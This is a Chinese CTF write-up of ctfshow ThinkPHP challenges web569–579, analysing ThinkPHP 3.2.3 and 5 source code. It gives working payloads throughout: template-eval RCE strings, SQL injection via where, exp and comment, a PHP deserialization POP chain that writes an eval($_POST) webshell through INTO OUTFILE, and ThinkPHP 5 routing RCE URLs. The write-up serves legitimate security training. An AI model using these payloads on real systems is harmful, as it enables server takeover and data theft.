Ctfshow web入门 thinkphp专题

web569

在这里插入图片描述
看一下thinkphp3.2.3官方手册,看完就都懂了:
ThinkPHP3.2.3完全开发手册
首先就是路由的方式:

http://serverName/index.php/模块/控制器/操作

此外就是默认是不区分大小写的,由'URL_CASE_INSENSITIVE' => true,这个配置决定。
URL模式的话,默认是PATHINFO模式,即本题考察的模式。
直接访问即可:

/index.php/admin/login/ctfshowlogin

web570

下载源码,在Common/Conf/config.php里面发现定义了一个路由,而且是闭包路由:
在这里插入图片描述

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )

可以这样:

/index.php/ctfshow/system/ls

但是会发现$a那里不能再有/,反正我没有找到好的办法来ls /。因此就考虑最原始的办法,回调后门:
在这里插入图片描述

web571

接下来是我审计错误的地方,大家可以直接跳过到再再再下面正确的分析

说有控制器的后门,找了一下,Home模块下的index控制器的index方法

    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

$n,会进入show函数。查了一下,查到了这个:
在这里插入图片描述
有点怪,讲道理就是模板渲染,对Html进行渲染,不知道为什么还能命令执行,跟进源码看一下。
前面的跟进就省略了,最终就是在这里,载入缓存文件:
在这里插入图片描述
在这里插入图片描述
$_filename就是缓存文件,会include,看一下缓存文件的内容:

<?php if (!defined('THINK_PATH')) exit();?><style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,<?php echo 'feng';?>黑客建立了控制器后门,你能找到吗</p>

if (!defined('THINK_PATH')) exit();?>这里是不能成立的,因此我们写入的php代码在缓存文件里执行了,而php有这个include缓存文件的机制,导致可以rce。

/index.php/home/index/index?n=<?php system("cat /f*");?>

正确的分析:
正确的分析:
正确的分析:
进入show函数:

    protected function show($content,$charset='',$contentType='',$prefix='') {
        $this->view->display('',$charset,$contentType,$content,$prefix);
    }

再跟进display函数,关键的就是这里得到模板渲染的内容,看看是怎么处理的:
在这里插入图片描述
进入fetch函数之后,这里是关键点:

        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }

上面的分析之所以是错的,就是因为我是拿本地来分析的,我本地的TMPL_ENGINE_TYPE是Think,因此会进入else,而题目的环境是php,因此直接进入if,这里$content就是我们传入的?n,然后就是:

eval('?>'.$_content);

所以可以直接命令执行。

web572

此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作

查一下,查到这个:
在这里插入图片描述
在这里插入图片描述
访问一下/Application/,提示403,说明确实可以访问到这个目录,bp爆一下:
在这里插入图片描述
在这里插入图片描述
rce即可:

/index.php?showctf=<?php system("cat /f*");?>

本地看一下这个日志,记录的是所有的访问和报错情况:
在这里插入图片描述
通过这个就可以知道一些能利用的方法,就像本地一样,$showctf应该就类似于上一题那样,也是一个模板渲染的rce。

web573

以前审过了,参考文章:
thinkphp3.2.3 SQL注入漏洞复现

?id[where]=id=-1 union select 1,group_concat(flag4s),3,4 from flags

web574

public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

按之前审的打不行,这里的where里面的不是array了是字符串,之前复现的都是array,因此在本地再审一遍。
大致看了一遍,具体的就不分析了,本来以为where里面是字符串能比较特殊的,结果就是在$whereStr外卖加了一层括号,类似where (id=1)这样,直接闭合括号然后注释,注入即可。

?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23

web575

    public function index($id){
        $user= unserialize(base64_decode(cookie('user')));
        if(!$user) echo "no";
        if(!$user || $user->id!==$id){
            $user = M('Users');
            $user->find(intval($id));
            cookie('user',base64_encode(serialize($user->data())));
        }
        $this->show($user->username);
    }

非预期

群主的本意是找一条反序列化链,但是有一个问题就是,$user是我们可控的,而这里$this->show($user->username);存在上面那个模板渲染的rce,因此随便反序列化类就行了。
题目设定的cookie是这样:

a:4:{s:2:"id";s:1:"2";s:8:"username";s:5:"user2";s:8:"password";s:5:"user2";s:6:"secret";N;}

这里改username的话还是不行,因为这是数组,这里不能成功:

$user->id!==$id

用类就行了,随便找个类,我这里懒,就直接用IndexController这个类了:

<?php
namespace Home\Controller{
    class IndexController{
        public $id = "1";
        public $username = "<?php system('cat /f*');?>";
    }
}
namespace {

    use Home\Controller\IndexController;

    echo base64_encode(serialize(new IndexController()));
}

在这里插入图片描述

预期解

肯定就是那个thiniphp3.2.3的那个反序列化链子了:
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
去复现跟着审了一遍,感觉作者确实牛逼。我自己构造的POC跟文章里的差不多,只不过没文章里的简便:

<?php
namespace Think\Image\Driver{

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{

    use Think\Model;

    class Memcache
    {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think {

    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $pk;
        protected $db;
        protected $data;
        public function __construct(){
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'Users where 1=updatexml(1,concat(0x7e,database(),0x7e),1)#'
            );
            $this->db = new Mysql();
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql
    {
        protected $config     = array(
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  '127.0.0.1', // 服务器地址
            'database'          =>  'ctfshow',          // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',          // 密码
            'hostport'          =>  '3306',        // 端口
            'dsn'               =>  '', //
            'params'            =>  array(), // 数据库连接参数
            'charset'           =>  'utf8',      // 数据库编码默认采用utf8
            'prefix'            =>  '',    // 数据库表前缀
            'debug'             =>  true, // 数据库调试模式
            'deploy'            =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
            'rw_separate'       =>  false,       // 数据库读写是否分离 主从式有效
            'master_num'        =>  1, // 读写分离后 主服务器数量
            'slave_no'          =>  '', // 指定从服务器序号
            'db_like_fields'    =>  '',
        );
        protected $options = array(
            PDO::ATTR_CASE              =>  PDO::CASE_LOWER,
            PDO::ATTR_ERRMODE           =>  PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_ORACLE_NULLS      =>  PDO::NULL_NATURAL,
            PDO::ATTR_STRINGIFY_FETCHES =>  false,
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    //读取本地文件~
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了~
        );
    }
}

namespace {
    echo base64_encode(serialize(new \Think\Image\Driver\Imagick()));
}

先读/var/www/html/Application/Common/Conf/config.php,读到数据库用户名和密码,root,root:
在这里插入图片描述
然后直接堆叠注入写shell,上面PDO加上了PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了~就可以堆叠了。注意数据库改成ctfshow_users,然后写:

            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'ctfshow_users where 1=2;select "<?php eval($_POST[0]);?>" into outfile "/var/www/html/2.php"#'
            );

在这里插入图片描述

web576

考点:thinkphp3.2.3的 注释注入。

$user = M('Users')->comment($id)->find(intval($id));

看一下comment方法:

    /**
     * 查询注释
     * @access public
     * @param string $comment 注释
     * @return Model
     */
    public function comment($comment)
    {
        $this->options['comment'] = $comment;
        return $this;
    }

$options加上comment,之前接触的都是它的where键,comment没见过,不知道是干啥的。继续跟进一下。中间的我就不放了,自己本地审一下源码。最终是这里,依次是where,limit等部分解析,然后拼接进sql语句的函数:

    /**
     * comment分析
     * @access protected
     * @param string $comment
     * @return string
     */
    protected function parseComment($comment) {
        return  !empty($comment)?   ' /* '.$comment.' */':'';
    }

相当于最后拼接的是/* $comment */,前面是where id= xxx limit 1,因此直接闭合前后面的注释,然后注入即可。
但是注入遇到了一点问题,一开始想着直接union注入:?id=-1*/ union select 1,2,3,4/*,发现报错了,本地试试发现爆Incorrect usage of UNION and LIMIT
查了一下,需要这样:
在这里插入图片描述
在这里插入图片描述
两个查询都要套上一层括号才行:
在这里插入图片描述
因为前面没法套括号,所以没法联合注入。想了一下,考虑到这是在limit的部分了:

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]
SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHARVARCHARTEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

联想到以前遇到的这个东西,所以直接写马即可:

?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/*

在这里插入图片描述

web577

之前审过了,直接打:

?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags

之前审计

web578

public function index($name='',$from='ctfshow'){
	$this->assign($name,$from);
	$this->display('index');
}

同样是模板渲染的问题,我之前也审过了,只不过当时审的是tp5的模板渲染中出现的变量覆盖导致的文件包含,这题是3.2.3,看一下3.2.3里面的是什么样的。
此外关于这个配置:
在这里插入图片描述
我本地的默认是Think,因此本地审的时候是按这个来审,在本地打通了但是在题目那里打不通,后来又把中间过程看了一遍,中间有个关于这个判断的if,我怀疑题目用的是php原生模板,而不是think,因此按原生的模板审个rce,果然在题目那里打通了。因此的话,我之前的关于show的模板渲染的rce应该也说错了,当时那个的思路也是按think审的,我回头再改一下。

首先是$this->assign($name,$from);,就是让$this->tVar[$name] = $from
在这里插入图片描述
display函数跟进去,在这里获得模板内容,继续跟进:
在这里插入图片描述
然后就是最关键的地方:

        // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }

这里判断用哪个模板引擎,题目环境的是php了,因此进入if,然后是变量覆盖和命令执行:

            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);

因此直接覆盖掉$_content变量,命令执行即可:

?name=_content&from=<?php system("cat /fl*")?>

如果是Think模板引擎的话,这里就不作分析了,可以本地自己复现,最终的话是这里:
在这里插入图片描述
非常眼熟的地方,没错,就是之前show那个后门那里,如果模板引擎是Think的话,这里把$_filename覆盖掉就可以任意文件包含了。中间具体的过程不再分析。

web579

开始thinkphp5了。接下来的就不说了。。。tp5和tp6的90%以上的洞我以前都本地复现过,审了一遍,写了分析文件,所以接下来的tp5就是自己抄自己了。
未开启强制路由RCE,以前的分析文章:
以前的分析文章
不过不建议看我的,我的只是分析之后做一下总结,具体的还是参考百度查到的文章。
大致这些:

?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

找了几个发现本地不行,又继续找到了一个能打了,直接打就行。

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值